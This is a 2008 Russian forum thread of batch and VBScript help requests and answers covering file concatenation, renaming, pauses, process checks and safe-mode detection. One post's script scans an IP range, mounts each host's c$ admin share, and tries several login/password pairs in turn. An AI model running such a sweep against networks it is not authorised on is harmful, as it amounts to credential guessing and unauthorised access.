Если бы вы еще обьеснили зачем каждая строка

Ссылки в шапке темы :)
А также в командной строке:
Код:

SetLocal /?
Set /?
For /?
Dir /?
If /?
Copy /?


Kira.play 04-08-2008 17:38 867759

Мм.. Буду изучать...
Кстате.. вот еще задачка =)
Буду рад если поможешь
Это даже не задачка я дополнение к предидущей...
Цитата:

Цитата Petya V4sechkin
@Echo Off SetLocal EnableExtensions EnableDelayedExpansion Set V= For /F "UseBackQ Delims=" %%I In (`Dir C:\Game.sav /A-D-H-S /B /S 2^>nul`) Do ( If "!V!"=="" ( Set V="%%~I" ) Else ( Set V=!V! + "%%~I" ) ) If Not "!V!"=="" Copy /B !V! SaveList.txt »

Этот чудесный скрипт записывает текущие состояние файлов...
И перезаписывает то что было раньше
Точнее на диске C:\ распологаются 3 файла Game.sav
в первом
123
во втором
321
в третьем
111

Запускаю... Вуаля GameList.txt с 123321111
Все бы хорошо... но нада так что бы он дополнял файл GameList.txt
т.e. если я удалю файл Game.sav (Что на диске С:\ с содержимым 123)
и добавлю Game.sav (Что на диске C:\ c содержимым GAME)
и запущю батник то он обновит GameList.txt и в нем будет не 321111GAME (как сейчас... т.к. он заного создаст файл ListGame.txt)
а 123321111GAME (Просто дополнит)

Извеняюсь если не понятно.... т.к. я долго писал-формулировал... всеравно получилась какаято каша %)
Очень жду помощи

Petya V4sechkin 04-08-2008 17:51 867769

Kira.play, в такой формулировке не знаю :)

Kira.play 04-08-2008 18:03 867775

Ну смотри...
Он записывает файлы в файл
Тем самым создает файл....
Если файл уже был создан.. о него перезаписывает...


А нада что бы он дописывал информацию...

вот хороший пример:
C:\Game.sav (в нутри текст : 123)
запускаем bat -> он создает GameList.txt (в нутри текст: 123)

далее открываем C:\Game.sav (и редактируем в нутри текст: c 123 на 321)
запускаем bat -> он создает GameList.txt (в нутри тест 321)
так сейчас... а он должен создавать GameList.txt (после следующих операций) с текстом внутри : 123 321
Надеюсь на помощь :)

7human7 04-08-2008 18:50 867803

Цитата:

Цитата Busla
что вы к этим батникам привязались - зашедулить можно сразу команду удаления необходимого файла! »

Как? т.е нужно указать на файл, который хочешь удалить? и там же в строке дописать at 6:00 /next:1 del d:\Document.doc





Цитата:

Цитата amel27
7human7, команда самоудаления:
Код:
DEL /F/Q "%0" »

это куда?

Kira.play 04-08-2008 19:31 867827

Как сделать так что бы при копирование если такой файл уже существует то приписать к нему циферку 1...
если и с циферкой 1 существует то циферку 2 =)
Ну что бы не заменялись если одинаковые есть при копировании...

Жду помощи =)
Зарание спасибо

Busla 04-08-2008 23:54 867978

7human7, как можно помочь написать bat-файл, если вы даже не представляете себе из чего он потенциально состоит?!

amel27 05-08-2008 09:32 868187

Kira.play
Цитата:

Если файл уже был создан.. о него перезаписывает...
А нада что бы он дописывал информацию... »
вариант:
Код:

For /F "Delims=" %%I In ('Dir C:\Game.sav /A-D-H-S /B /S 2^>nul') Do Type "%%I" >>SaveList.txt
Цитата:

если и с циферкой 1 существует то циферку 2 »
обязательно цифру?... а если само имя заканчивается на цифру?.. ;)
тогда придется вводить какой-нить спецсимвол чтобы определить переименован файл или нет...
Проще каждый раз дописывать один и тот же символ, правда имя может стать о-очень длинным. :)

7human7
Цитата:

это куда?»
в конец батника

amel27 05-08-2008 13:54 868458

Цитата:

Цитата amel27
вариант »

извиняюсь, забыл что речь о бинарных а не текстовых файлах, поэтому скорее так:
Код:

@Echo Off

Set $ROOT=C:\Game.sav
Set $FILE=SaveList.txt

For /F "UseBackQ Delims=" %%I In (`Dir "%$ROOT%" /A-D-H-S /B /S 2^>nul`) Do (
        If Exist %$FILE% (
                Copy /B "%$FILE%"+"%%I" "%$FILE%"
        ) ELSE (
                Copy /B "%%I" "%$FILE%"
        )
)


Kira.play 05-08-2008 14:09 868476

Cпасибо огромное...
Но вот если не сложно...
Можете обьеснить как соединить это
@Echo Off
SetLocal EnableExtensions EnableDelayedExpansion

Set V=
For /F "UseBackQ Delims=" %%I In (`Dir C:\Game.sav /A-D-H-S /B /S 2^>nul`) Do (
If "!V!"=="" (
Set V="%%~I"
) Else (
Set V=!V! + "%%~I"
)
)
If Not "!V!"=="" Copy /B !V! SaveList.txt

и вот это:
For /F "Delims=" %%I In ('Dir C:\Game.sav /A-D-H-S /B /S 2^>nul') Do Type "%%I" >>SaveList.txt

а про циферки...
Я иммел ввиду что если такой файл существует то как можно сделать так что бы он его не перезаписывал?
Что бы он какнибудь... редактировал его название??? Но что бы и имя файла длинным не делал % )
Вот я и предложил ставить в конце 1 (если есть 1 то 2... если есть 2 то3... если есть 3 то 4 если есть 4 то 5 и т.п.)
заранее спасибо :)

SerDIDG 06-08-2008 06:11 869117

Здравствуйте. Помогите пожалуйста написать в бате следующее: мне нужно, чтобы бат заменял "определённую" строку текстового файла на строку из другого файла. Заранее благодарен.

amel27 06-08-2008 10:09 869203

Kira.play
Цитата:

Цитата Kira.play
как соединить это »

смотри пост #276
Цитата:

Цитата Kira.play
про циферки »

вариант:
Код:

@Echo Off

Set $FILE=C:\Documents and Settings\Default User\ntuser.dat
Set $PATH=C:\Documents and Settings\Default User

Call :FileGetNewName "%$FILE%" "%$PATH%"
@Echo %FileGetNewName%

Exit

:FileGetNewName
:: ---
:: %1 - полное имя исходного файла, включая путь
:: %2 - путь к целевому каталогу
:: ---
Set $I=
Set FileGetNewName=

If Not Exist "%~1" GoTo :EOF
For %%i In ("%~1") Do Set $N=%%~ni
For %%i In ("%~1") Do Set $X=%%~xi

:FileGetNewName_LOOP

Set FileGetNewName=%~2\%$N%%$I%%$X%
If Not Exist "%FileGetNewName%" GoTo :EOF
Set /A $I +=1
GoTo FileGetNewName_LOOP

SerDIDG
Цитата:

Цитата SerDIDG
чтобы бат заменял "определённую" строку текстового файла »

что значит "определенную"?

SerDIDG 06-08-2008 17:42 869593

Определённую - например мне нужно в файле 111.txt (111.cfg) заменить строку 268 на стройку 1 из файла 222.txt. Если такое невозможно, порекомендуйте какой нибудь консольный редактор текста на который можно написать скрипт.

radistOK 07-08-2008 11:24 870122

Народ, есть вот такой скрипт проверяющий наличие определённого файла в папке. Как сделать так что бы оно проверяло наличие не определённого файла , а любого находящегося в папке? пробовал задавать маску типа 12*.* но что то несрабатывал скрипт. Подскажите пжста как быть


P.S. Сорри, попмему не в тот раздел :( Ну всёравно если кто сможет помогите




'******************************************************************
' Имя: ExistsFile.vbs
' Язык: VBScript
' Описание: Проверка существования файла
'*******************************************************************
Dim FSO,FileName 'Объявляем переменные

'Создаем объект FileSystemObject
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")

FileName = "c:\boot.ini"
if FSO.FileExists(FileName) Then
'Выводим информацию на экран
WScript.Echo "Появился нулевой файл " & FileName & " "
else
'Выводим информацию на экран
'WScript.Echo "Файл " & FileName & " не существует"
end if
'************* Конец *********************************************

amel27 07-08-2008 12:24 870164

SerDIDG,
Цитата:

Цитата SerDIDG
Если такое невозможно, порекомендуйте какой нибудь консольный редактор текста на который можно написать скрипт. »

штатного CMD-редактора нет, а обычные команды нужно использовать с оглядкой - чтобы в тексте не встречалось CMD-метасимволов (типа "|")
рекомендации стандартные: SED, AWK, про них можно почитать например ТУТ

ADD: в ресурс-ките NT4 была еще утилита MUNGE, но она просто заменяет (по списку) один текст на другой

Gennie 07-08-2008 20:08 870593

консольный вопрос
 
Люди, не знаю, в какую из имеющихся тем засунуть этот вопрос: модеры, помогите, плз!

Вопрос такой: как в виндоуз задать переменную окружения _из потока_, т.е. как результату отработки какой-нибудь команды
исхитриться присвоить имя и это будет имя переменной окружения???

Нужно буквально следующее. Есть _файл_ (в смысле "не каталог", хотя вообще без разницы) вида drive:\dir1\dir2\xxxxxxUSR.txt
Результат отработки
Код:

dir /b drive:\dir1\dir2\*USR*
чётко выдаст точное имя этого файла на стандартный вывод.
Так вот, хочу присвоить какой-либо переменной окружения значение имени этого файла, определённого командой dir.
В более широком смысле, конечно же, хочется вообще присваивать любой переменной окружения значения, полученные из потока.
Даже в микрософтовском техцентре на это не удалось найти ответ, команда set упорно не желает работать с потоками, мне не
удалось заставить её кушать данные из потока, даже когда она ждёт ввод данных с консоли (с ключом /p).
Please, help.

Petya V4sechkin 07-08-2008 22:06 870666

Gennie, примерно так:
Код:

@Echo Off
SetLocal EnableExtensions

For /F "Delims=" %%I In ('Dir /B drive:\dir1\dir2\*USR* 2^>nul') Do Set N=%%I
Echo %N%

Результат в переменной N.

Gennie 08-08-2008 02:03 870802

Спасибо, мысль понял, попробую завтра на работе применить. Только в двух вещах не разобрался в вашем ходе мысли:
зачем stderr на нуль перенаправлять, и зачем заменять стандартные разделители на ничего, ведь в результате выполнения
команды dir получится в чистом виде имя файла, вроде без пробелов, и вроде на stderr ничего подаваться не должно в принципе.
Про stderr, если вы этим имеете в виду, что файл может быть не найден и возникнет ошибка, то я его перед выполнением
предполагаемого назначения переменной проверяю на существование конструкцией if not exist drive:\dir1\dir2\*USR* .....
(ну и какие-то действия стоят) -- оно работает. Поможете понять ваше предложение до конца?

ЗЫ: Вот здесь официальное описание команды нашёл, типа из первых рук. Редкостное убожество, к сожалению, как с точки зрения русского языка, так и технической грамотности текста, и иллюстрации примерами...

Petya V4sechkin 08-08-2008 10:10 870936

Цитата:

Цитата Gennie
зачем заменять стандартные разделители на ничего, ведь в результате выполнения
команды dir получится в чистом виде имя файла, вроде без пробелов

Это просто универсальный способ (работает вне зависимости от наличия или отсутствия пробелов в имени).

Цитата:

Цитата Gennie
Про stderr, если вы этим имеете в виду, что файл может быть не найден и возникнет ошибка, то я его перед выполнением
предполагаемого назначения переменной проверяю на существование конструкцией if not exist drive:\dir1\dir2\*USR*

Если так проверяете, можно не перенаправлять.

Gennie 08-08-2008 10:41 870954

Большое спасибо, оно заработало!!! 8-)

Dimtos 21-08-2008 21:22 880763

Добрый день! Написал скрипт, проверяющий размер БД на ПК (там где размер >= 200 Мб). БД лежит на C:\Exec\db\exec.gdb. Нужно проверить диапазон ip 10.1.*.161 - 10.1.*.202, где * диапазон от 10 до 255. Всё замечательно, но строчка


Код:

FOR %%I IN (%MASK%) DO IF EXIST %%I SET SIZE=%%~zI
всё время возвращает в %SIZE% значение первого ПК (10.1.10.161). Помогите, пожалуйста, найти ошибку или обходной способ решения задачи. Спасибо!

Код:

set /a podset =10
set /a ip =161
set fsz=0
set MASK= T:\Exec\db\exec.gdb
 
:pod1
set ipfull=10.1.%podset%.%ip%
if %ip%==202 goto pod2
if %podset%==255 goto exit
set /a ip =%ip%+1
:back
net use T: /d
Ping -n 3 %IPFULL%
echo pingerrorlevel %errorlevel%
If %errorlevel% geq 1 (Goto REZULT1)
 
net use T: \\%IPFULL%\c$ pass1 /user:login1
if "%errorlevel%"=="0"  (goto weiter)
 
net use T: \\%IPFULL%\c$ pass2 /user:login2
if "%errorlevel%"=="0" (goto weiter)
 
net use T: \\%IPFULL%\c$ pass3  /user:login3
if "%errorlevel%"=="0" (goto weiter)
 
net use T: \\%IPFULL%\c$ pass4 /user:login4
if "%errorlevel%"=="0" (goto weiter)
 
net use T: \\%IPFULL%\c$ pass5 /user:login5
if "%errorlevel%"=="0" (goto weiter)
 
:weiter
FOR %%I IN (%MASK%) DO IF EXIST %%I SET SIZE=%%~zI
set /a filesize=(%size%/1024/1024)
if "%filesize%" geq "200" (echo %SIZE% >> execSize.txt)&(echo %IPFULL% >> execSize.txt)&(echo %filesize% >> execSize.txt)&(echo ------- >> execSize.txt)
:REZULT1
goto pod1
 
:pod2
set /a podset =%podset%+1
set /a ip =161
goto pod1
 
:exit
pause
exit


Petya V4sechkin 21-08-2008 21:35 880773

Цитата:

Цитата Dimtos
всё время возвращает в %SIZE% значение

Это называется раннее связывание.
Подробнее можете почитать, выполнив:
Код:

set /?
Короче, надо вставить в начало батника:
Код:

SetLocal EnableExtensions EnableDelayedExpansion
и везде заменить %SIZE% на !SIZE!

Dimtos 21-08-2008 22:17 880811

Petya V4sechkin, спасибо! Завтра попробую на работе.
UPD: заработало! спасибо ещё раз!

vaska_sv 26-08-2008 18:58 884345

Подскажите как сделать так чтоб при первой загрузке выскакивало окошко (Введите имя компьютера), и при нажатии кнопки ОК комп перезагружался!!!

ShaddyR 26-08-2008 19:17 884352

vaska_sv,
Код:

msg %username% "Введите имя компьютера"
shutdown -s -f

где-то так... только зачем? В чем основная идея?

vaska_sv 27-08-2008 10:21 884821

Диск автом. установки Windows создавался для фирмы у которой много филий по стране, по этим филиям мы раздадим диск, но так как у юзеров нет админ прав(сис админы есть только в центральном офисе), надо это окошко.

vaska_sv 27-08-2008 11:06 884842

ShaddyR

не мог бы ты мне немного по подробнее расписать этот скрипт, оч надо

ShaddyR 27-08-2008 15:22 885056

Цитата:

Цитата vaska_sv, ЛС
У меня глупый вопрос, потому и не хотел задавать его в форуме:

Как прописать скрипт, который запускал бы все файлы с reg форматом с папки?

А здесь редко вопросы задает профессура.. все чаще выходцы из народу.. :)
Перечитай для начала данную тему - я думаю, здесь найдется ответ на твой или похожий вопрос. Если же нет- поможем.

Цитата:

Цитата vaska_sv
подробнее расписать этот скрипт »

пока нет - не совсем понимаю его назначение. Нужно дать возможность человеку менять имя компьютера? Если диск с автоустановкой системы, убери из фaйла ответов строку с именем компьютера, система запросит его при установке. Хочешь сделать это уже после того, как система поставилась полностью? Оставь краткую инструкцию по том, как сменить имя компьютера и на какое.. уж если этого сделать не может установщик - неча ему вообще доверять установку системы.. ИМХО так..

vaska_sv 27-08-2008 16:39 885123

ShaddyR,
Я хочу сделать это после того как система стала полностью, краткое описание не поможет потому что у них нет админ прав, юзеры работают под групой опытные пользователи.

Ответ на вопрос (Как прописать скрипт, который запускал бы все файлы с reg форматом с папки? ) я так и не нашел!!!

vaska_sv 28-08-2008 17:54 885968

Как прописать скрипт, чтоб он запускал все файлы с расширением .reg из этой папки

mutnik 28-08-2008 18:29 885980

Приветик всем! Я почитал но не нашел ответ на такой вопрос: нужно присвоить переменную, а взять ее нужно из текстового файла например для переменной Т нужно присвоить значение "Вася Пупкин" из файла C:\text.txt

Пол дня ответ ищу :(

Vadikan 29-08-2008 01:42 886254

mutnik, приведите пример текстового файла, в котором содержится значение переменной.

Petya V4sechkin 29-08-2008 09:41 886385

Цитата:

Цитата mutnik
нужно присвоить переменную, а взять ее нужно из текстового файла например для переменной Т нужно присвоить значение "Вася Пупкин" из файла C:\text.txt

Код:

For /F "Delims=" %%I In (C:\text.txt) Do Set T=%%I
Echo Значение переменной: %T%

Цитата:

Цитата vaska_sv
чтоб он запускал все файлы с расширением .reg из этой папки

Код:

For %%I In (*.reg) Do Start /Wait Regedit /S "%%~I"

mutnik 29-08-2008 10:07 886407

Vadikan

в текстовом файле много всего написано а мне нужно записать в переменную все что написано после слова "Пупкин"

извените что не так :)

Petya V4sechkin

огроменное спасибо

7human7 01-09-2008 19:58 888705

Какая команда выполняет то же действие, что и клик мыши?
Я пытался запустить ярлык internet на диске C:\ - но ничего не происходит. (видимо другой командой нужно)
cmd-шник:
Код:

@echo off
title Launching..
start C:\Internet.lnk
exit

p.s Если в пути есть пробелы, то нужно выставлять его в кавычки, а если есть кириллица?

Petya V4sechkin 01-09-2008 22:13 888830

7human7, вы не Internet.lnk запускайте, а то, что в нем прописано.

truvo 02-09-2008 11:06 889099

Вот задача: есть каталог с кучей подкаталогов, в которых, на разном уровне вложенности папок есть файлы с именем, например, ААА и файлы с именем ВВВ. В ряде случаев эти файлы находятся в незаархивированном виде, в ряде случаев, напротив - в архивах (это незапароленные архивы форматов rar, zip и 7z). Возможно ли с помощью bat-файла одним махом найти все эти файлы ААА и BBB, где бы они не находились, и переименовать ААА в XXX, а BBB - в YYY - и в архивах, и вне архивов?

Если это задача запредельная для bat-аники, может, кто посоветует (можно в ПМ), как ее решить с наименьшими усилиями?

7human7 02-09-2008 11:28 889121

Цитата:

Цитата Petya V4sechkin
7human7, вы не Internet.lnk запускайте, а то, что в нем прописано. »

т.е путь к сетевому подключению? и как его посмотреть?
Ну, а путь просмотрел через командную строку:


А в свойствах следующее:



kagorec 02-09-2008 14:27 889261

Имеется игровой сервер, который включаю каждое утро в 9.00 и работает до 24.00
Прошу помочь написать бат файл для такой работы.
Описание:

Код:

Компьютер включется и проходит 5 минут после запуска Windows, потом включается сервер (4 файла, каждый через период времени.)
1. запускается файл D:\World Server\server\ZLn.exe
пауза 3 секунды... если запустился то далее (если нет то соощение о неверном пути файла)
2. запускается файл D:\World Server\server\ZSs.exe
пауза 3 секундs... если запустился то далее (если нет то соощение о неверном пути файла)
3. запускается файл D:\World Server\server\ZWs.exe
пауза 7 секунд... если запустился то далее (если нет то соощение о неверном пути файла)
4. запускается файл D:\World Server\server\game\Zmmp.exe
пауза 15 секунд... если запустился то оповещение об успешном запуске .(если нет то соощение о неверном пути файла)

В реестре автостарт прописать первым делом, а вот чтоб спустя 5 минут только запускалось все... не по силе задачка. sleep 30000 =) Зарание спасибо.

-

Спустя 5 минут наваял скриптик, только время паузы невпонятках как ставить. (тестить не могу .к. сервер работает в полном ходу). посмотрите пожалста, правильно хоть начало?

Код:

@echo off
TITLE Strarter Server
color 2F
ECHO.
ECHO Программа автоматически включает сервер.
ECHO Подождите пока это окно само закроется.
ECHO.
ECHO Начало запуска...
ECHO.
ECHO Please wait...
start /wait D:\World Server\server\ZLn.exe
ECHO Please wait...
start /wait D:\World Server\server\ZSs.exe
ECHO Please wait...
start /wait D:\World Server\server\ZWs.exe
ECHO Please wait...
start /wait D:\World Server\server\Zmmp.exe
ECHO.
ECHO Сервер включен.
ECHO.
EXIT


Petya V4sechkin 02-09-2008 14:29 889264

kagorec, Пауза в пакетном файле

kagorec 02-09-2008 15:02 889293

Цитата:

Цитата Petya V4sechkin
kagorec, Пауза в пакетном файле »

Такой вариант не подходит, чтоб скрипт состоял еще из побочных программ...
-
Цитата:

Утилита sleep.exe
sleep [seconds]
где [seconds] - желаемое число секунд.
Неужели стандартными методами нельзя задать в скрипте чтоб запуск приложений начался через 5 минут?
п.с. бат файл в итоге хочу конвертировать в файл .exe

ShaddyR 02-09-2008 20:40 889531

Цитата:

Цитата kagorec
Неужели стандартными методами нельзя задать в скрипте чтоб запуск приложений начался через 5 минут? »

отчего ж нельзя? Напр., так:
Пауза в пакетном файле

Vadikan 02-09-2008 22:30 889619

Цитата:

Цитата 7human7
т.е путь к сетевому подключению? »

Из вашего сообщения было совсем неочевидно, что речь идет о подключению к интернету... [решено] Как сделать так что бы подключение по VPN было автоматическое.

7human7 03-09-2008 12:19 889985

Цитата:

Цитата Vadikan
Из вашего сообщения было совсем неочевидно, что речь идет о подключению к интернету... »

Какбе дело в принципе было, мне вообще интересно было, какая команда отвечает за простой клик мыши..
Да и к тому же, что мне писать в поле логин и пароль (rasdial)? У меня как по локальной сети запускается! Ethernet-модем.
Неужели нет простой команды, которая отвечает за простой левый клик мыши?

2 Допустим я найду эту команду, то как сделать так, чтобы по истечении 5 минут после запуска windows она запускалась? (в шедулере - такое нельзя, максимум - можно при "простое 5 минут" - но это не то)
Смею предположить, что тип так:
Код:

cscript //nologo sleep.js 300
leftclickmouse C:\Internet.lnk
exit


p.s Все-таки какой самый простой способ ставить паузу (без скачивания всяких программ)?
sleep, call :sleep, cscript //nologo sleep.js 300 - не работают!
Проверял на самом просто способе, вот например такой скрипт:
Код:

shutdown.exe -s -f
Что не пытался - все равно сразу выключается..

ShaddyR 04-09-2008 16:56 890970

Цитата:

Цитата 7human7
какая команда отвечает за простой клик мыши »

таких команд в составе ХР не существует.
>
Цитата:

Цитата 7human7
какой самый простой способ ставить паузу (без скачивания всяких программ)? »

рекомендую хотя бы пробегаться сообщения, адрессованые другим участникам конференции - информация может помочь и Вам. Вариант решения я предложил здесь.

7human7 06-09-2008 11:41 892254

Цитата:

Цитата ShaddyR
рекомендую хотя бы пробегаться сообщения, адрессованые другим участникам конференции - информация может помочь и Вам. »


с чего Вы взяли, что я не читал сообщения выше?? Как я уже сказал, все эти команды-паузы требуют загрузку программы. Неужели нет простой команды ожидания??

Цитата:

Цитата ShaddyR
таких команд в составе ХР не существует. »

ну хорошо, какой командой можно просто запустить ярлык? (причем любой, просто запустить и ВСЕ!)

ShaddyR 06-09-2008 14:14 892355

Цитата:

Цитата 7human7
все эти команды-паузы требуют загрузку программы »

Т.е. Вы не только не читаете сообщений, но еще и по предоставляемым ссылкам ходить не желаете? Либо читаете не (до конца\полностью\внимательно)? Контрольный в голову: в моем сообщении №309 была дана ссылка на материал, в котором одним из вариантов решения вашего вопроса согласно ваших условий является применение команды ping операционной системы Windows, следующим образом:
Цитата:

Команда ping
ping -n seconds 127.0.0.1 > nul
где seconds - желаемое число секунд + 1. Строго говоря, неизвестно, сколько на самом деле длится пауза между пингами, хотя предположительно - одну секунду. Паузу в одну секунду задать не получится, поскольку пинг проходит моментально. Справка по команде: ping /?.
Применение в таком варианте является нестандартным, но свою задачу выполняет.
>
Цитата:

Цитата 7human7
какой командой можно просто запустить ярлык? (причем любой, просто запустить и ВСЕ!) »

=>
Цитата:

Цитата ShaddyR
таких команд в составе ХР не существует. »

Поскольку ярлыки бывают разные - механизм их обработки также различается. И если, к примеру,
"C:\Documents and Settings\All Users\Главное меню\Программы\Стандартные\Калькулятор.lnk"
можно запустить и из меню\выполнить и из бат-файла, то некоторые специфические ярлыки выполняться так не будут (тот же ярлык интернет-соединения, к примеру). Дополнительно можно прочитать у Оверклокеров либо попробовать поискать в Яндексе.

7human7 06-09-2008 20:42 892550

Цитата:

Цитата ShaddyR
Применение в таком варианте является нестандартным, но свою задачу выполняет. »

АХАХАААХ, с таким же успехом можно прописать на установку какого-либа приложения, а перед запуском уже нужной тебе команды прописать /wait, а че? Это тоже своего рода пауза, только нужно будет расчитать, чтобы программка устанавливалась ровно столько, сколько нужно для паузы.. (нубский способ)
Цитата:

Цитата ShaddyR
Дополнительно можно прочитать у Оверклокеров либо попробовать поискать в Яндексе. »

Не-а, никак не получается запустить ярлык интернет-соединения. Я сам до этого читал про rasdial, но так и не понял как ею пользоваться если у меня (логин и пароль какой ставить?) Ethernet-модем и запускается как по локальной сети:


yurfed 06-09-2008 21:32 892581

Цитата:

Цитата 7human7
Да и к тому же, что мне писать в поле логин и пароль (rasdial)? »

В любом случае, должен быть пасс и логин для выхода в инет.
И почему соединение необходимо запускать именно через ярлык, а не прямо указать на него?
Цитата:

rasdial имя подключения логин пароль
Советую переименовать подключения в латиницу и убрать пробелы.
Цитата:

Цитата 7human7
какая команда отвечает за простой клик мыши.. »

Насколько мне известно, напрямую с API функциями в Windows нет связи. Только через резидента/ов, который/е будут висеть в памяти, отслеживать и исполнять команды, предназначенные им, вызывая на исполнение и клик мыши в том числе.

7human7 06-09-2008 22:01 892605

Цитата:

Цитата yurfed
В любом случае, должен быть пасс и логин для выхода в инет.

Ну и какой же?
Цитата:

Цитата yurfed
И почему соединение необходимо запускать именно через ярлык, а не прямо указать на него?

И как?
Цитата:

Цитата yurfed
rasdial имя подключения логин пароль »

т.е люблой пасс и логин?
вообщем код подключения будет выглядеть просто
Код:

rasdial Internet user 123
?

yurfed 06-09-2008 22:20 892618

7human7, у тебя подключение какое? Только не так "У меня как по локальной сети запускается! Ethernet-модем."
Если подключение по локалке с общим интернетом, то и соответственно, при включении ты уже и в локалке и интернете.
Если доступ на интернет у каждого по своему логину и пассу, то и делай так, как написано.
Цитата:

Цитата 7human7
т.е люблой пасс и логин? »

Выясни у дающего доступ.
Цитата:

Цитата 7human7
Ну и какой же? »

а я думал ты сам скажешь :)

7human7 07-09-2008 18:44 893109

Цитата:

Цитата yurfed
Если подключение по локалке с общим интернетом, то и соответственно, при включении ты уже и в локалке и интернете.

какбе да.
Цитата:

Цитата yurfed
Если доступ на интернет у каждого по своему логину и пассу, то и делай так, как написано. »

это как? тут если тоже будет идти через локалку ничего не выйдет т.к ты просто тупо запускаешь локалку, а уже основной шлюз перенаправляет тебя на интернет т.е ты должен в самом шлюзе прописывать пасс и логин, а не через локалку, локалка просто подсоединяется к этому шлюзу (ethernet-модем).
Вообщем это про обычное adsl-соединение. А через ethernet эта команда не катит, пытался отсоединиться - пишет что все соединения отсоединены, а локалка все равно работат и интернет - соответственно.


Вообщем просто нужно, чтобы запускалась локалка через какую-нибудь команду и все..

D_Master 09-09-2008 14:06 894551

Приветствую всех!
Подскажите, пожалуйста, можно ли через батник определить, находится пользователь в безопасном режиме или нет?

И ещё - нашёл VBS-скрипт, который по идее должен создавать точку восстановления системы, но почему-то не создаёт :unsure:
Код:

Set IRP = getobject("winmgmts:\.\root\default:Systemrestore")
MYRP = IRP.createrestorepoint ("Restore", 0, 100)

Восстановление на всех дисках включено, места на системном достаточно.
ЗЫ Когда запускаю кликами на файле, вызывает ошибку:

Через командную строку - то же самое практически (cscript restore.vbs(1, 1) (null): 0x80041021).
Где копать, что не так? (я сам в vbs нуб полный=))

amel27 10-09-2008 07:09 895220

Цитата:

Цитата D_Master
можно ли через батник определить, находится пользователь в безопасном режиме или нет? »

Код:

If "%SAFEBOOT_OPTION%"==""        @Echo Компьютер в обычном режиме
If "%SAFEBOOT_OPTION%"=="MINIMAL" @Echo Компьютер в безопасном режиме
If "%SAFEBOOT_OPTION%"=="NETWORK" @Echo Компьютер в безопасном режиме с загрузкой сетевых драйверов

Статья: Описание возможных вариантов безопасного режима загрузки Windows XP

Freezet 11-09-2008 14:50 896385

Проверка запущен ли процесс, если нет - запустить [cmd, bat]
 
Нужно через батник запустить приложение если оно не запущено. Как ето можно сделать?

нашел такую идею
Цитата:

SET SEARCH=notepad.exe
tasklist /fi "imagename eq %SEARCH%" /fo table /nh > %TEMP%\tmp.tmp
find /c "%SEARCH%" %TEMP%\tmp.tmp
echo %ERRORLEVEL%
if %ERRORLEVEL%==1 start notepad.exe
как-то слишком запутано? есть другие варианты? без создания темп файла

Petya V4sechkin 11-09-2008 16:25 896480

Цитата:

Цитата Freezet
без создания темп файла

Код:

SET SEARCH=notepad.exe
tasklist /fi "imagename eq %SEARCH%" /fo table /nh | find /c /i "%SEARCH%"
if %ERRORLEVEL%==1 start notepad.exe


AGRESS0R 11-09-2008 17:22 896527

Всем прива !
Задачка вот такая:
1. проверить папку на удаленном компьютере на наличие файлов создать очет есть или нет (если возможно то как давно).
2. подцепиться к этой же машине, через РДП .
3. запустить определёную программу (софт) .
4. сделать скрин шот .
5. закрыть и сохранить отчет с картинкой в папке (фолдер).

6. (ну это вообше тяжко) послать папку на мыло или браузер.

вот та часть что мне пока удалось сделать !

Код:

@echo off
echo Check 1 - Tok Files
echo.
@dir \\shlabfls\autolims$\Common\Interfaces\Hl7\HL7Results\*.tok
echo.
echo Press Any key for Check 2 - Distrebution Engine
@pause > nul
mstsc sbxpap33a.rdp /console



@echo off

Start /w server.rdp

) Else (exit)

Благодарю за внимание !!!

Freezet 11-09-2008 17:32 896537

Видать всеравно какой то запрос на запуск идет. С некоторыми программами при запуске выскакивает табличка что она запущена.

Как еще можно?

Vadikan 11-09-2008 19:02 896589

Цитата:

Цитата Freezet
С некоторыми программами при запуске выскакивает табличка что она запущена. »

С какими?

Freezet 11-09-2008 20:44 896680

если указать путь if %ERRORLEVEL%==1 start "N:\SOFT\Lan\ipscan.exe" то если процес не находит - запускается командная строка а не нужная программа/ если же указывать просто те приложения что уже лежат в system32 то срабатывает

amel27 12-09-2008 05:45 896947

Freezet
Цитата:

Как еще можно? »
если всегда запускается то что ищется, то такой вариант:
Код:

SET $PATH=%windir%\System32\notepad.exe

If Not Exist "%$PATH%" EXIT
For %%i In ("%$PATH%") Do Set $NAME=%%~nxi

TaskList /FI "ImageName EQ %$NAME%" /FO Table /NH | Find /I "%$NAME%"
If %ERRORLEVEL%==1 Start "" "%$PATH%"

Цитата:

если процес не находит - запускается командная строка а не нужная программа »
Start принимает путь за заголовок окна - нужно проставить пустой заголовок (смотри пример)

amel27 12-09-2008 13:50 897170

AGRESS0R

1. Какая ОСь на удаленном компьютере... XP или сервер?

2. Нужно логически отделить подключение/отключение от других прикладных задач (запуск, лог, мыло, etc). Если на удаленной машине ВСЕГДА открыта консоль и она не блокируется, то можно вообще не использовать RDP, а запускать удаленно прямо из открытой консоли (через PSExec).

3. Каждая из перечисленных задач может запускаться как с локального, так и с удаленного компьютера - тут нужно определиться. ИМХО проще и надежней написать и отладить скрипт, который все перечисленное (кроме запуска консоли) выполняет локально, потом запустить (если нужно) удаленную консоль, удаленно запустить в ней выполнение скрипта, закрыть консоль. При необходимости часть операций можно выполнить локально... например, отправку почты (если удаленный компьютер не имеет выхода на почтовик).

З.Ы. Сам скрипт советую писать на AutoIT, так как у него есть весь инстументарий для работы с окнами, скриншотами и почтой... на CMD ИМХО будет намного сложнее.

lAGRESSORl 12-09-2008 15:08 897225

1. Какая ОСь на удаленном компьютере... XP или сервер?

Ось SERVER 2003

2. Нужно логически отделить подключение/отключение от других прикладных задач (запуск, лог, мыло, etc). Если на удаленной машине ВСЕГДА открыта консоль и она не блокируется, то можно вообще не использовать RDP, а запускать удаленно прямо из открытой консоли (через PSExec).

Ок консоль можно сделать постоянной, она не блокируется !


3. Каждая из перечисленных задач может запускаться как с локального, так и с удаленного компьютера - тут нужно определиться. ИМХО проще и надежней написать и отладить скрипт, который все перечисленное (кроме запуска консоли) выполняет локально, потом запустить (если нужно) удаленную консоль, удаленно запустить в ней выполнение скрипта, закрыть консоль. При необходимости часть операций можно выполнить локально... например, отправку почты (если удаленный компьютер не имеет выхода на почтовик).

З.Ы. Сам скрипт советую писать на AutoIT, так как у него есть весь инстументарий для работы с окнами, скриншотами и почтой... на CMD ИМХО будет намного сложнее.

